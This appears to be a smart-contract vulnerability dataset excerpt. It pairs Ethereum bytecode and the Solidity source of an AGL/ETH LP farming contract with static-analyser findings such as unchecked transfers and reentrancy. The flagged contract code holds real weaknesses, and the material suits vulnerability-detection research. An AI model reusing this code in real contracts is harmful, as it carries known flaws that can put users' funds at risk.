6020909201916001909101906119fe565b50611a3f929150611a8a565b5090565b828054828255906000526020600020908101928215611a7e579160200282015b82811115611a7e578251825591602001919060010190611a63565b50611a3f929150611aae565b61176591905b80821115611a3f5780546001600160a01b0319168155600101611a90565b61176591905b80821115611a3f5760008155600101611ab456fe5361666545524332303a206572633230206f7065726174696f6e20646964206e6f742073756363656564a265627a7a72315820f37d4bcbf3b58353b126dc55ec88a09f79200e58e85022e3c7ceee2ad71d1e2264736f6c63430005110032
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 6,198 |
0x48dd6d34411fef3661894cded50c993c2d82041d
|
/**
*Submitted for verification at Etherscan.io on 2021-01-24
*/
pragma solidity >=0.7.5;
// SPDX-License-Identifier: BSD-3-Clause
// Farming Contract for AGL/ETH LP
// 260000 AGL Rewards Dispersed @ 13000 AGL/DAY for 20 Days
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256`
* (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
interface Token {
function transferFrom(address, address, uint) external returns (bool);
function transfer(address, uint) external returns (bool);
}
contract AGLETHFarming is Ownable {
using SafeMath for uint;
using EnumerableSet for EnumerableSet.AddressSet;
event RewardsTransferred(address holder, uint amount);
event RewardsDisbursed(uint amount);
// Uniswap ETH/AGL LP token contract address
address public constant LPtokenAddress = 0xd91911131afE19526D45fc403C514Be55c404c39;
//ANGEL token address
address public constant tokenAddress = 0xd1B9E138516EE74ee27949eb1B58584A4bEDE267;
uint public constant withdrawFeePercentX100 = 0;
uint public constant disburseAmount = 13000e9;
uint public constant disburseDuration = 24 hours;
uint public disbursePercentX100 = 10000;
uint public lastDisburseTime;
constructor() {
lastDisburseTime = block.timestamp;
}
uint public totalClaimedRewards = 0;
EnumerableSet.AddressSet private holders;
mapping (address => uint) public depositedTokens;
mapping (address => uint) public depositTime;
mapping (address => uint) public lastClaimedTime;
mapping (address => uint) public totalEarnedTokens;
mapping (address => uint) public lastDivPoints;
uint public totalTokensDisbursed = 0;
uint public contractBalance = 0;
uint public totalDivPoints = 0;
uint public totalTokens = 0;
uint internal pointMultiplier = 1e9;
function addContractBalance(uint amount) public onlyOwner {
require(Token(tokenAddress).transferFrom(msg.sender, address(this), amount), "Cannot add balance!");
contractBalance = contractBalance.add(amount);
}
function updateAccount(address account) private {
uint pendingDivs = getPendingDivs(account);
if (pendingDivs > 0) {
require(Token(tokenAddress).transfer(account, pendingDivs), "Could not transfer tokens.");
totalEarnedTokens[account] = totalEarnedTokens[account].add(pendingDivs);
totalClaimedRewards = totalClaimedRewards.add(pendingDivs);
emit RewardsTransferred(account, pendingDivs);
}
lastClaimedTime[account] = block.timestamp;
lastDivPoints[account] = totalDivPoints;
}
function getPendingDivs(address _holder) public view returns (uint) {
if (!holders.contains(_holder)) return 0;
if (depositedTokens[_holder] == 0) return 0;
uint newDivPoints = totalDivPoints.sub(lastDivPoints[_holder]);
uint depositedAmount = depositedTokens[_holder];
uint pendingDivs = depositedAmount.mul(newDivPoints).div(pointMultiplier);
return pendingDivs;
}
function getNumberOfHolders() public view returns (uint) {
return holders.length();
}
function deposit(uint amountToDeposit) public {
require(amountToDeposit > 0, "Cannot deposit 0 Tokens");
updateAccount(msg.sender);
require(Token(LPtokenAddress).transferFrom(msg.sender, address(this), amountToDeposit), "Insufficient Token Allowance");
depositedTokens[msg.sender] = depositedTokens[msg.sender].add(amountToDeposit);
totalTokens = totalTokens.add(amountToDeposit);
if (!holders.contains(msg.sender)) {
holders.add(msg.sender);
depositTime[msg.sender] = block.timestamp;
}
}
function withdraw(uint amountToWithdraw) public {
require(depositedTokens[msg.sender] >= amountToWithdraw, "Invalid amount to withdraw");
updateAccount(msg.sender);
uint fee = amountToWithdraw.mul(withdrawFeePercentX100).div(1e4);
uint amountAfterFee = amountToWithdraw.sub(fee);
require(Token(LPtokenAddress).transfer(owner, fee), "Could not transfer fee!");
require(Token(LPtokenAddress).transfer(msg.sender, amountAfterFee), "Could not transfer tokens.");
depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(amountToWithdraw);
totalTokens = totalTokens.sub(amountToWithdraw);
if (holders.contains(msg.sender) && depositedTokens[msg.sender] == 0) {
holders.remove(msg.sender);
}
}
function emergencyWithdraw(uint amountToWithdraw) public {
require(depositedTokens[msg.sender] >= amountToWithdraw, "Invalid amount to withdraw");
lastClaimedTime[msg.sender] = block.timestamp;
lastDivPoints[msg.sender] = totalDivPoints;
uint fee = amountToWithdraw.mul(withdrawFeePercentX100).div(1e4);
uint amountAfterFee = amountToWithdraw.sub(fee);
require(Token(LPtokenAddress).transfer(owner, fee), "Could not transfer fee!");
require(Token(LPtokenAddress).transfer(msg.sender, amountAfterFee), "Could not transfer tokens.");
depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(amountToWithdraw);
totalTokens = totalTokens.sub(amountToWithdraw);
if (holders.contains(msg.sender) && depositedTokens[msg.sender] == 0) {
holders.remove(msg.sender);
}
}
function claim() public {
updateAccount(msg.sender);
}
function distributeDivs(uint amount) private {
if (totalTokens == 0) return;
totalDivPoints = totalDivPoints.add(amount.mul(pointMultiplier).div(totalTokens));
emit RewardsDisbursed(amount);
}
function disburseTokens() public onlyOwner {
uint amount = getPendingDisbursement();
//uint contractBalance = Token(tokenAddress).balanceOf(address(this));
if (contractBalance < amount) {
amount = contractBalance;
}
if (amount == 0) return;
distributeDivs(amount);
contractBalance = contractBalance.sub(amount);
lastDisburseTime = block.timestamp;
}
function getPendingDisbursement() public view returns (uint) {
uint timeDiff = block.timestamp.sub(lastDisburseTime);
uint pendingDisburse = disburseAmount
.mul(disbursePercentX100)
.mul(timeDiff)
.div(disburseDuration)
.div(10000);
return pendingDisburse;
}
function getDepositorsList(uint startIndex, uint endIndex)
public
view
returns (address[] memory stakers,
uint[] memory stakingTimestamps,
uint[] memory lastClaimedTimeStamps,
uint[] memory stakedTokens) {
require (startIndex < endIndex);
uint length = endIndex.sub(startIndex);
address[] memory _stakers = new address[](length);
uint[] memory _stakingTimestamps = new uint[](length);
uint[] memory _lastClaimedTimeStamps = new uint[](length);
uint[] memory _stakedTokens = new uint[](length);
for (uint i = startIndex; i < endIndex; i = i.add(1)) {
address staker = holders.at(i);
uint listIndex = i.sub(startIndex);
_stakers[listIndex] = staker;
_stakingTimestamps[listIndex] = depositTime[staker];
_lastClaimedTimeStamps[listIndex] = lastClaimedTime[staker];
_stakedTokens[listIndex] = depositedTokens[staker];
}
return (_stakers, _stakingTimestamps, _lastClaimedTimeStamps, _stakedTokens);
}
/* function to allow owner to claim *other* ERC20 tokens sent to this contract.
Owner cannot recover unclaimed tokens (they are burnt)
*/
function transferAnyERC20Tokens(address _tokenAddr, address _to, uint _amount) public onlyOwner {
require(_tokenAddr != LPtokenAddress, "Admin cannot transfer out LP tokens from this vault!");
Token(_tokenAddr).transfer(_to, _amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106101da5760003560e01c80638da5cb5b11610104578063c326bf4f116100a2578063f2fde38b11610071578063f2fde38b14610535578063f3f91fa01461055b578063f9da7db814610581578063fe547f7214610589576101da565b8063c326bf4f146104f7578063d1b965f31461051d578063d578ceab14610525578063e027c61f1461052d576101da565b806398896d10116100de57806398896d10146104a45780639d76ea58146104ca578063ac51de8d146104d2578063b6b55f25146104da576101da565b80638da5cb5b146104705780638e20a1d9146104945780638f5705be1461049c576101da565b806346c648731161017c57806365ca78be1161014b57806365ca78be146104225780636a395ccb1461042a5780637e1c0c09146104605780638b7afe2e14610468576101da565b806346c64873146103b15780634e71d92d146103d75780635312ea8e146103df5780636270cd18146103fc576101da565b80631f04461c116101b85780631f04461c146103495780632e1a7d4d1461036f578063308feec31461038c578063452b4cfc14610394576101da565b806305447d25146101df5780630813cc8f146103255780630c9a0c781461032f575b600080fd5b610202600480360360408110156101f557600080fd5b5080359060200135610591565b6040518080602001806020018060200180602001858103855289818151815260200191508051906020019060200280838360005b8381101561024e578181015183820152602001610236565b50505050905001858103845288818151815260200191508051906020019060200280838360005b8381101561028d578181015183820152602001610275565b50505050905001858103835287818151815260200191508051906020019060200280838360005b838110156102cc5781810151838201526020016102b4565b50505050905001858103825286818151815260200191508051906020019060200280838360005b8381101561030b5781810151838201526020016102f3565b505050509050019850505050505050505060405180910390f35b61032d6107fd565b005b61033761085b565b60408051918252519081900360200190f35b6103376004803603602081101561035f57600080fd5b50356001600160a01b0316610861565b61032d6004803603602081101561038557600080fd5b5035610873565b610337610b3b565b61032d600480360360208110156103aa57600080fd5b5035610b4c565b610337600480360360208110156103c757600080fd5b50356001600160a01b0316610c49565b61032d610c5b565b61032d600480360360208110156103f557600080fd5b5035610c64565b6103376004803603602081101561041257600080fd5b50356001600160a01b0316610cf8565b610337610d0a565b61032d6004803603606081101561044057600080fd5b506001600160a01b03813581169160208101359091169060400135610d10565b610337610e0b565b610337610e11565b610478610e17565b604080516001600160a01b039092168252519081900360200190f35b610337610e26565b610337610e2c565b610337600480360360208110156104ba57600080fd5b50356001600160a01b0316610e33565b610478610ecf565b610337610ee7565b61032d600480360360208110156104f057600080fd5b5035610f3c565b6103376004803603602081101561050d57600080fd5b50356001600160a01b03166110e2565b6103376110f4565b6103376110f9565b6103376110ff565b61032d6004803603602081101561054b57600080fd5b50356001600160a01b0316611105565b6103376004803603602081101561057157600080fd5b50356001600160a01b031661118a565b61047861119c565b6103376111b4565b6060806060808486106105a357600080fd5b60006105af86886111be565b905060008167ffffffffffffffff811180156105ca57600080fd5b506040519080825280602002602001820160405280156105f4578160200160208202803683370190505b50905060008267ffffffffffffffff8111801561061057600080fd5b5060405190808252806020026020018201604052801561063a578160200160208202803683370190505b50905060008367ffffffffffffffff8111801561065657600080fd5b50604051908082528060200260200182016040528015610680578160200160208202803683370190505b50905060008467ffffffffffffffff8111801561069c57600080fd5b506040519080825280602002602001820160405280156106c6578160200160208202803683370190505b5090508a5b8a8110156107eb5760006106e06004836111d5565b905060006106ee838f6111be565b9050818782815181106106fd57fe5b60200260200101906001600160a01b031690816001600160a01b03168152505060076000836001600160a01b03166001600160a01b031681526020019081526020016000205486828151811061074f57fe5b60200260200101818152505060086000836001600160a01b03166001600160a01b031681526020019081526020016000205485828151811061078d57fe5b60200260200101818152505060066000836001600160a01b03166001600160a01b03168152602001908152602001600020548482815181106107cb57fe5b6020908102919091010152506107e490508160016111e8565b90506106cb565b50929a91995097509095509350505050565b6000546001600160a01b0316331461081457600080fd5b600061081e610ee7565b905080600c54101561082f5750600c545b8061083a5750610859565b610843816111f7565b600c5461085090826111be565b600c5550426002555b565b60015481565b600a6020526000908152604090205481565b336000908152600660205260409020548111156108d7576040805162461bcd60e51b815260206004820152601a60248201527f496e76616c696420616d6f756e7420746f207769746864726177000000000000604482015290519081900360640190fd5b6108e033611263565b60006108f86127106108f28484611413565b90611433565b9050600061090683836111be565b600080546040805163a9059cbb60e01b81526001600160a01b039092166004830152602482018690525192935073d91911131afe19526d45fc403c514be55c404c399263a9059cbb92604480840193602093929083900390910190829087803b15801561097257600080fd5b505af1158015610986573d6000803e3d6000fd5b505050506040513d602081101561099c57600080fd5b50516109ef576040805162461bcd60e51b815260206004820152601760248201527f436f756c64206e6f74207472616e736665722066656521000000000000000000604482015290519081900360640190fd5b6040805163a9059cbb60e01b815233600482015260248101839052905173d91911131afe19526d45fc403c514be55c404c399163a9059cbb9160448083019260209291908290030181600087803b158015610a4957600080fd5b505af1158015610a5d573d6000803e3d6000fd5b505050506040513d6020811015610a7357600080fd5b5051610ac6576040805162461bcd60e51b815260206004820152601a60248201527f436f756c64206e6f74207472616e7366657220746f6b656e732e000000000000604482015290519081900360640190fd5b33600090815260066020526040902054610ae090846111be565b33600090815260066020526040902055600e54610afd90846111be565b600e55610b0b600433611448565b8015610b24575033600090815260066020526040902054155b15610b3657610b3460043361145d565b505b505050565b6000610b476004611472565b905090565b6000546001600160a01b03163314610b6357600080fd5b604080516323b872dd60e01b815233600482015230602482015260448101839052905173d1b9e138516ee74ee27949eb1b58584a4bede267916323b872dd9160648083019260209291908290030181600087803b158015610bc357600080fd5b505af1158015610bd7573d6000803e3d6000fd5b505050506040513d6020811015610bed57600080fd5b5051610c36576040805162461bcd60e51b815260206004820152601360248201527243616e6e6f74206164642062616c616e63652160681b604482015290519081900360640190fd5b600c54610c4390826111e8565b600c5550565b60076020526000908152604090205481565b61085933611263565b33600090815260066020526040902054811115610cc8576040805162461bcd60e51b815260206004820152601a60248201527f496e76616c696420616d6f756e7420746f207769746864726177000000000000604482015290519081900360640190fd5b336000908152600860209081526040808320429055600d54600a9092528220556108f86127106108f28484611413565b60096020526000908152604090205481565b600b5481565b6000546001600160a01b03163314610d2757600080fd5b6001600160a01b03831673d91911131afe19526d45fc403c514be55c404c391415610d835760405162461bcd60e51b81526004018080602001828103825260348152602001806116456034913960400191505060405180910390fd5b826001600160a01b031663a9059cbb83836040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b158015610dda57600080fd5b505af1158015610dee573d6000803e3d6000fd5b505050506040513d6020811015610e0457600080fd5b5050505050565b600e5481565b600c5481565b6000546001600160a01b031681565b600d5481565b6201518081565b6000610e40600483611448565b610e4c57506000610eca565b6001600160a01b038216600090815260066020526040902054610e7157506000610eca565b6001600160a01b0382166000908152600a6020526040812054600d54610e96916111be565b6001600160a01b038416600090815260066020526040812054600f5492935091610ec4906108f28486611413565b93505050505b919050565b73d1b9e138516ee74ee27949eb1b58584a4bede26781565b600080610eff600254426111be90919063ffffffff16565b90506000610f356127106108f2620151806108f286610f2f600154650bd2cc61d00061141390919063ffffffff16565b90611413565b9250505090565b60008111610f91576040805162461bcd60e51b815260206004820152601760248201527f43616e6e6f74206465706f736974203020546f6b656e73000000000000000000604482015290519081900360640190fd5b610f9a33611263565b604080516323b872dd60e01b815233600482015230602482015260448101839052905173d91911131afe19526d45fc403c514be55c404c39916323b872dd9160648083019260209291908290030181600087803b158015610ffa57600080fd5b505af115801561100e573d6000803e3d6000fd5b505050506040513d602081101561102457600080fd5b5051611077576040805162461bcd60e51b815260206004820152601c60248201527f496e73756666696369656e7420546f6b656e20416c6c6f77616e636500000000604482015290519081900360640190fd5b3360009081526006602052604090205461109190826111e8565b33600090815260066020526040902055600e546110ae90826111e8565b600e556110bc600433611448565b6110df576110cb60043361147d565b503360009081526007602052604090204290555b50565b60066020526000908152604090205481565b600081565b60035481565b60025481565b6000546001600160a01b0316331461111c57600080fd5b6001600160a01b03811661112f57600080fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b60086020526000908152604090205481565b73d91911131afe19526d45fc403c514be55c404c3981565b650bd2cc61d00081565b6000828211156111ca57fe5b508082035b92915050565b60006111e18383611492565b9392505050565b6000828201838110156111e157fe5b600e54611203576110df565b61122a611221600e546108f2600f548561141390919063ffffffff16565b600d54906111e8565b600d556040805182815290517f497e6c34cb46390a801e970e8c72fd87aa7fded87c9b77cdac588f235904a8259181900360200190a150565b600061126e82610e33565b905080156113e7576040805163a9059cbb60e01b81526001600160a01b038416600482015260248101839052905173d1b9e138516ee74ee27949eb1b58584a4bede2679163a9059cbb9160448083019260209291908290030181600087803b1580156112d957600080fd5b505af11580156112ed573d6000803e3d6000fd5b505050506040513d602081101561130357600080fd5b5051611356576040805162461bcd60e51b815260206004820152601a60248201527f436f756c64206e6f74207472616e7366657220746f6b656e732e000000000000604482015290519081900360640190fd5b6001600160a01b03821660009081526009602052604090205461137990826111e8565b6001600160a01b03831660009081526009602052604090205560035461139f90826111e8565b600355604080516001600160a01b03841681526020810183905281517f586b2e63a21a7a4e1402e36f48ce10cb1ec94684fea254c186b76d1f98ecf130929181900390910190a15b506001600160a01b03166000908152600860209081526040808320429055600d54600a90925290912055565b600082820283158061142d57508284828161142a57fe5b04145b6111e157fe5b60008082848161143f57fe5b04949350505050565b60006111e1836001600160a01b0384166114f6565b60006111e1836001600160a01b03841661150e565b60006111cf826115d4565b60006111e1836001600160a01b0384166115d8565b815460009082106114d45760405162461bcd60e51b81526004018080602001828103825260228152602001806116236022913960400191505060405180910390fd5b8260000182815481106114e357fe5b9060005260206000200154905092915050565b60009081526001919091016020526040902054151590565b600081815260018301602052604081205480156115ca578354600019808301919081019060009087908390811061154157fe5b906000526020600020015490508087600001848154811061155e57fe5b60009182526020808320909101929092558281526001898101909252604090209084019055865487908061158e57fe5b600190038181906000526020600020016000905590558660010160008781526020019081526020016000206000905560019450505050506111cf565b60009150506111cf565b5490565b60006115e483836114f6565b61161a575081546001818101845560008481526020808220909301849055845484825282860190935260409020919091556111cf565b5060006111cf56fe456e756d657261626c655365743a20696e646578206f7574206f6620626f756e647341646d696e2063616e6e6f74207472616e73666572206f7574204c5020746f6b656e732066726f6d2074686973207661756c7421a26469706673582212207a3e4c150111c6e27a011438a674128994a2415ec12754aeba2580453b00321c64736f6c63430007060033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 6,199 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.